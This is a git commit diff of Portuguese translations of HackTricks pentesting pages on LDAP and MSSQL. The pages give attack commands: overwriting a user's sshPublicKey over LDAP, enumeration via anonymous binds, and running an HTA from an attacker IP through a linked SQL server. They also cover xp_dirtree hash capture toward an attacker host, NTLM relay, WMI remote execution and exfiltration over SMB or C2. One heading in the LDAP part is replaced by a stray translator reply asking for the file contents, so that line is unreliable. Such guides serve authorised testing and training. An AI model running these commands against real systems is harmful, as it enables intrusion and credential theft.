Translated ['src/network-services-pentesting/pentesting-mssql-microsoft-

This commit is contained in:
Translator 2025-09-30 23:14:30 +00:00
parent fe6d8f5c85
commit 5728b3f47d
5 changed files with 327 additions and 222 deletions

View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
O uso do **LDAP** (Lightweight Directory Access Protocol) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código.
O uso de **LDAP** (Lightweight Directory Access Protocol) serve principalmente para localizar diversas entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, públicas e privadas. Ele oferece uma abordagem mais enxuta em comparação com seu predecessor, DAP, por ter uma base de código menor.
Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, referida como um Directory System Agent (DSA). A responsabilidade por lidar com solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
Os diretórios LDAP são estruturados para permitir sua distribuição por vários servidores, com cada servidor hospedando uma versão **replicada** e **sincronizada** do diretório, referida como Directory System Agent (DSA). A responsabilidade por tratar as requisições é inteiramente do servidor LDAP, que pode comunicar-se com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
A organização do diretório LDAP se assemelha a uma **hierarquia de árvore, começando com o diretório raiz no topo**. Isso se ramifica para países, que se dividem ainda mais em organizações, e depois em unidades organizacionais representando várias divisões ou departamentos, finalmente alcançando o nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras.
A organização do diretório LDAP se assemelha a uma **hierarquia em forma de árvore, começando pelo diretório raiz no topo**. A partir daí ramifica-se para países, que se dividem em organizações, e então em unidades organizacionais que representam várias divisões ou departamentos, até chegar ao nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras.
**Porta padrão:** 389 e 636(ldaps). O Catálogo Global (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
**Porta padrão:** 389 e 636 (LDAPS). Global Catalog (LDAP in ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Data Interchange Format
### Formato de Intercâmbio de Dados LDAP
LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Também pode representar solicitações de atualização (Add, Modify, Delete, Rename).
```bash
dn: dc=local
dc: local
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
- As linhas 1-3 definem o domínio de nível superior local
- As linhas 5-8 definem o domínio de primeiro nível moneycorp (moneycorp.local)
- As linhas 10-16 definem 2 unidades organizacionais: dev e sales
- As linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
- Linhas 1-3 definem o domínio de topo local
- Linhas 5-8 definem o domínio de primeiro nível moneycorp (moneycorp.local)
- Linhas 10-16 definem 2 unidades organizacionais: dev e sales
- Linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
## Escrever dados
Note que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode mudar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **você poderá fazer login como esse usuário, mesmo que a autenticação por senha não esteja habilitada no ssh**.
Observe que, se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode alterar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário você **será capaz de fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -64,43 +64,67 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Capturar credenciais em texto claro
## Sniff clear text credentials
Se o LDAP for usado sem SSL, você pode **capturar credenciais em texto claro** na rede.
Se o LDAP for usado sem SSL você pode **sniff credentials in plain text** na rede.
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Rebaixamento** para que o cliente use as **credenciais em texto claro** para fazer login.
Além disso, você pode realizar um **MITM** attack na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Downgrade Attack** para que o cliente use as **credentials in clear text** para fazer login.
**Se o SSL for usado**, você pode tentar fazer **MITM** como mencionado acima, mas oferecendo um **certificado falso**; se o **usuário aceitá-lo**, você poderá rebaixar o método de autenticação e ver as credenciais novamente.
**If SSL is used** você pode tentar realizar um **MITM** como o mencionado acima, mas oferecendo um **false certificate**, se o **user accepts it**, você poderá Downgrade o método de autenticação e ver as credentials novamente.
## Acesso Anônimo
### Bypass da verificação SNI do TLS
### Bypass TLS SNI check
De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
De acordo com [**este writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) apenas ao acessar o servidor LDAP com um nome de domínio arbitrário (como company.com) ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonymous binds
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permitem que **atacantes não autenticados** recuperem informações do domínio, como uma lista completa de usuários, grupos, computadores, atributos de conta de usuário e a política de senha do domínio. Esta é uma **configuração legada**, e a partir do Windows Server 2003, apenas usuários autenticados estão autorizados a iniciar solicitações LDAP.\
No entanto, os administradores podem ter precisado **configurar um aplicativo específico para permitir binds anônimos** e concedido mais acesso do que o pretendido, permitindo assim que usuários não autenticados acessem todos os objetos no AD.
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permitem que **atacantes não autenticados** recuperem informações do domínio, como uma listagem completa de usuários, grupos, computadores, atributos de contas de usuário e a política de senhas do domínio. Esta é uma **configuração legada**, e desde o Windows Server 2003 apenas usuários autenticados podem iniciar requisições LDAP.\ No entanto, administradores podem ter precisado **configurar uma aplicação específica para permitir anonymous binds** e concedido mais acesso do que o pretendido, dando assim a usuários não autenticados acesso a todos os objetos no AD.
## Valid Credentials
### Anonymous LDAP enumeration with NetExec (null bind)
Se você tiver credenciais válidas para fazer login no servidor LDAP, pode extrair todas as informações sobre o Domain Admin usando:
Se null/anonymous bind estiver permitido, você pode puxar usuários, grupos e atributos diretamente via o módulo LDAP do NetExec sem creds. Filtros úteis:
- (objectClass=*) para inventariar objetos sob um DN base
- (sAMAccountName=*) para coletar nomes de contas de usuário
Exemplos:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
O que procurar:
- sAMAccountName, userPrincipalName
- memberOf e posicionamento de OU para definir o escopo de targeted sprays
- pwdLastSet (padrões temporais), userAccountControl flags (disabled, smartcard required, etc.)
Nota: Se anonymous bind não for permitido, normalmente você verá um Operations error indicando que um bind é necessário.
## Credenciais válidas
Se você tiver credenciais válidas para fazer login no LDAP server, você pode extrair todas as informações sobre o Domain Admin usando:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Força Bruta](../generic-hacking/brute-force.md#ldap)
### [Brute Force](../generic-hacking/brute-force.md#ldap)
## Enumeração
### Automatizado
Usando isso, você poderá ver as **informações públicas** (como o nome do domínio)**:**
Usando isto você poderá ver as **informações públicas** (como o nome do domínio)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -110,9 +134,9 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<summary>Veja a enumeração LDAP com python</summary>
Você pode tentar **enumerar um LDAP com ou sem credenciais usando python**: `pip3 install ldap3`
Você pode tentar **enumerar um LDAP com ou sem credentials usando python**: `pip3 install ldap3`
Primeiro, tente **conectar sem** credenciais:
Primeiro tente **conectar-se sem credentials**:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +145,7 @@ Primeiro, tente **conectar sem** credenciais:
True
>>> server.info
```
Se a resposta for `True`, como no exemplo anterior, você pode obter alguns **dados interessantes** do servidor LDAP (como o **contexto de nomeação** ou **nome de domínio**) de:
Se a resposta for `True`, como no exemplo anterior, você pode obter alguns **dados interessantes** do servidor LDAP (como o **contexto de nomes** ou o **nome de domínio**) a partir de:
```bash
>>> server.info
DSA info (from DSE):
@ -129,7 +153,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Uma vez que você tenha o contexto de nomeação, pode fazer algumas consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
Uma vez que você tenha o contexto de nomes, você pode fazer algumas consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@ -145,7 +169,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) é um script em Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
[**Windapsearch**](https://github.com/ropnop/windapsearch) é um script Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +184,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
Verifique credenciais nulas ou se suas credenciais são válidas:
Verifique credentials nulas ou se suas credentials são válidas:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,7 +197,7 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Se você encontrar algo dizendo que o "_bind deve ser concluído_" significa que as credenciais estão incorretas.
Se você encontrar algo dizendo que "_bind must be completed_" isso significa que as credenciais estão incorretas.
Você pode extrair **tudo de um domínio** usando:
```bash
@ -193,7 +217,7 @@ Extrair **computadores**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraia **minhas informações**:
I dont have the contents of src/network-services-pentesting/pentesting-ldap.md. Please paste the markdown you want translated (or tell me which sections to extract). I will translate to Portuguese preserving all markdown, HTML tags, links, refs and paths per your instructions.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -201,7 +225,7 @@ Extrair **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrair **Usuários do Domínio**:
Extrair **Domain Users**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -213,11 +237,11 @@ Extrair **Administradores**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Grupo de Área de Trabalho Remota**
Extrair **Grupo de Área de Trabalho Remota**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Para verificar se você tem acesso a alguma senha, você pode usar grep após executar uma das consultas:
Para ver se você tem acesso a alguma senha, você pode usar grep após executar uma das consultas:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
@ -225,8 +249,8 @@ Por favor, note que as senhas que você pode encontrar aqui podem não ser as re
#### pbis
Você pode baixar **pbis** daqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\
**Pbis** permite que você obtenha informações básicas facilmente:
Você pode baixar **pbis** aqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e normalmente é instalado em `/opt/pbis`.\
**Pbis** permite obter informações básicas facilmente:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
@ -255,13 +279,13 @@ Você pode baixar **pbis** daqui: [https://github.com/BeyondTrust/pbis-open/](ht
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -274,43 +298,43 @@ done
### Apache Directory
[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
Você pode baixar uma interface gráfica com servidor LDAP aqui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Por padrão, ele é instalado em: _/opt/jxplorer_
Por padrão está instalado em: _/opt/jxplorer_
![](<../images/image (482).png>)
### Godap
Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc.
Godap é uma interface de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, junto com várias outras funcionalidades especializadas, como pesquisar/criar/alterar/excluir objetos, adicionar/remover usuários de grupos, trocar senhas, editar permissões de objetos (DACLs), modificar Active-Directory Integrated DNS (ADIDNS), exportar para arquivos JSON, etc.
![](../images/godap.png)
Você pode acessá-lo em [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Para exemplos de uso e instruções, leia o [Wiki](https://github.com/Macmod/godap/wiki).
Você pode acessá-lo em [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Para exemplos de uso e instruções leia a [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx
Ldapx é um proxy LDAP flexível que pode ser usado para inspecionar e transformar o tráfego LDAP de outras ferramentas. Pode ser usado para ofuscar o tráfego LDAP para tentar contornar ferramentas de proteção de identidade e monitoramento LDAP e implementa a maioria dos métodos apresentados na palestra [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
Ldapx é um proxy LDAP flexível que pode ser usado para inspecionar & transformar tráfego LDAP de outras ferramentas. Pode ser usado para ofuscar tráfego LDAP na tentativa de contornar ferramentas de proteção de identidade & monitoramento LDAP e implementa a maioria dos métodos apresentados na palestra [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
![](../images/ldapx.png)
Você pode obtê-lo em [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
You can get it from [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
## Autenticação via kerberos
Usando `ldapsearch`, você pode **autenticar** contra **kerberos em vez** de via **NTLM** usando o parâmetro `-Y GSSAPI`
Usando `ldapsearch` você pode **autenticar-se** contra **kerberos** em vez de via **NTLM** usando o parâmetro `-Y GSSAPI`
## POST
Se você puder acessar os arquivos onde os bancos de dados estão contidos (pode estar em _/var/lib/ldap_). Você pode extrair os hashes usando:
Se você conseguir acessar os arquivos onde os bancos de dados estão armazenados (podem estar em _/var/lib/ldap_). Você pode extrair os hashes usando:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Você pode alimentar john com o hash da senha (de '{SSHA}' para 'structural' sem adicionar 'structural').
Você pode alimentar o john com o hash da senha (de '{SSHA}' até 'structural' sem adicionar 'structural').
### Arquivos de Configuração
@ -335,7 +359,7 @@ Você pode alimentar john com o hash da senha (de '{SSHA}' para 'structural' sem
- Sun ONE Directory Server 5.1
- 75sas.ldif
## HackTricks Comandos Automáticos
## Comandos Automáticos do HackTricks
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
@ -378,4 +402,10 @@ Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
```
## Referências
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (sucessor do CME)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Operações Anonymous LDAP no Active Directory estão desativadas](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,23 +6,23 @@
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** é um **sistema de gerenciamento de banco de dados relacional** desenvolvido pela Microsoft. Como servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software — que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).
> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software — que podem ser executadas tanto no mesmo computador quanto em outro computador através de uma rede (incluindo a Internet).
**Porta padrão:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Tabelas de Sistema Padrão do MS-SQL**
### **Default MS-SQL System Tables**
- **master Database**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
- **msdb Database**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e jobs.
- **model Database**: Atua como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são espelhadas nos bancos de dados recém-criados.
- **Resource Database**: Um banco de dados somente leitura que contém objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
- **tempdb Database**: Serve como uma área de armazenamento temporária para objetos transitórios ou conjuntos de resultados intermediários.
- **master Database**: Este banco de dados é crucial, pois contém todos os detalhes em nível de sistema para uma instância do SQL Server.
- **msdb Database**: SQL Server Agent utiliza este banco de dados para gerenciar agendamento de alertas e jobs.
- **model Database**: Age como um modelo para cada novo banco de dados na instância do SQL Server, onde alterações como tamanho, collation, recovery model e mais são espelhadas nos bancos de dados recém-criados.
- **Resource Database**: Um banco de dados somente leitura que contém objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no Resource database, são apresentados logicamente no sys schema de cada banco de dados.
- **tempdb Database**: Serve como área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários.
## Enumeração
### Enumeração Automática
### Enumeração automática
Se você não sabe nada sobre o serviço:
```bash
@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Se você **não** **tiver credentials** pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode **bloquear contas** se falhar no login várias vezes usando um username existente.
> Se você **não** **tiver credenciais** pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode **bloquear contas** se falhar no login várias vezes usando um nome de usuário existente.
#### Metasploit (need creds)
#### Metasploit (necessita de credenciais)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Common Enumeration
#### Enumeração Comum
```sql
# Get version
select @@version;
@ -157,13 +157,13 @@ SELECT * FROM sysusers
#### Obter Permissões
1. **Securable:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
- **Server** Exemplos incluem databases, logins, endpoints, availability groups e server roles.
- **Database** Exemplos cobrem database role, application roles, schema, certificates, full text catalogs e users.
- **Server** Exemplos incluem databases, logins, endpoints, availability groups, e server roles.
- **Database** Exemplos abrangem database role, application roles, schema, certificates, full text catalogs, e users.
- **Schema** Inclui tables, views, procedures, functions, synonyms, etc.
2. **Permission:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. O gerenciamento de permissões ocorre em dois níveis:
2. **Permission:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL, e CREATE podem ser concedidas a um principal. O gerenciamento de permissões ocorre em dois níveis:
- **Server Level** usando logins
- **Database Level** usando users
3. **Principal:** Este termo refere-se à entidade que recebe permissão sobre um securable. Principals incluem principalmente logins e database users. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou incluindo logins e users em roles equipadas com direitos de acesso.
3. **Principal:** Este termo refere-se à entidade à qual é concedida permissão sobre um securable. Principals incluem principalmente logins e database users. O controle de acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e users em roles com direitos de acesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -185,10 +185,10 @@ EXEC sp_helprotect 'xp_cmdshell'
```
## Truques
### Executar comandos do sistema operacional
### Executar Comandos do SO
> [!CAUTION]
> Observe que, para poder executar comandos, não é suficiente apenas ter **`xp_cmdshell`** **ativado**, é também necessário possuir a **permissão EXECUTE no procedimento armazenado `xp_cmdshell`**. Você pode obter quem (exceto sysadmins) pode usar **`xp_cmdshell`** com:
> Observe que, para poder executar comandos, não é apenas necessário ter **`xp_cmdshell`** **ativado**, mas também ter a permissão **EXECUTE** na stored procedure **`xp_cmdshell`**. Você pode descobrir quem (exceto sysadmins) pode usar **`xp_cmdshell`** com:
>
> ```sql
> Use master
@ -235,9 +235,9 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Coleta remota SQL baseada em WMI (sqlcmd + CSV export)
### Coleta remota de SQL baseada em WMI (sqlcmd + CSV export)
Operadores podem pivotar de uma camada IIS/app para SQL Servers usando WMI para executar um pequeno batch que autentica no MSSQL e executa consultas adhoc, exportando os resultados para CSV. Isso mantém a coleta simples e se mistura com a atividade administrativa.
Operadores podem pivotar de uma camada IIS/app para SQL Servers usando WMI para executar um pequeno batch que autentica no MSSQL e executa consultas ad-hoc, exportando os resultados para CSV. Isso mantém a coleta simples e se mistura com a atividade administrativa.
Exemplo mssq.bat
```bat
@ -251,7 +251,7 @@ set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Invoque-o remotamente com WMI
Execute-o remotamente via WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
@ -261,17 +261,19 @@ $cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Notas
- sqlcmd pode estar ausente; recorra a osql, PowerShell Invoke-Sqlcmd, ou a um oneliner usando System.Data.SqlClient.
- Use aspas com cuidado; consultas longas/complexas são mais fáceis de fornecer via um ficheiro ou argumento codificado em Base64 decodificado dentro do stub batch/PowerShell.
- Exfil the CSV via SMB (p.ex., copie de \\SQLHOST\C$\Windows\Temp) ou comprima e mova através do seu C2.
- sqlcmd pode estar ausente; recorra a osql, PowerShell Invoke-Sqlcmd, ou um oneliner usando System.Data.SqlClient.
- Use aspas com cuidado; consultas longas/complexas são mais fáceis de fornecer via arquivo ou argumento codificado em Base64 decodificado dentro do stub de batch/PowerShell.
- Exfil o CSV via SMB (por exemplo, copiar de \\SQLHOST\C$\Windows\Temp) ou comprima e mova através do seu C2.
### Obter senhas com hash
### Obter hashes de senhas
```bash
SELECT * FROM master.sys.syslogins;
```
### Capturar NetNTLM hash / Relay attack
### Capturar hash NetNTLM / Relay attack
Inicie um **SMB server** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
Você deve iniciar um **SMB server** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -295,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Você pode verificar quem (além dos sysadmins) tem permissões para executar essas funções do MSSQL com:
> Você pode verificar quem (além de sysadmins) tem permissões para executar essas funções do MSSQL com:
>
> ```sql
> Use master;
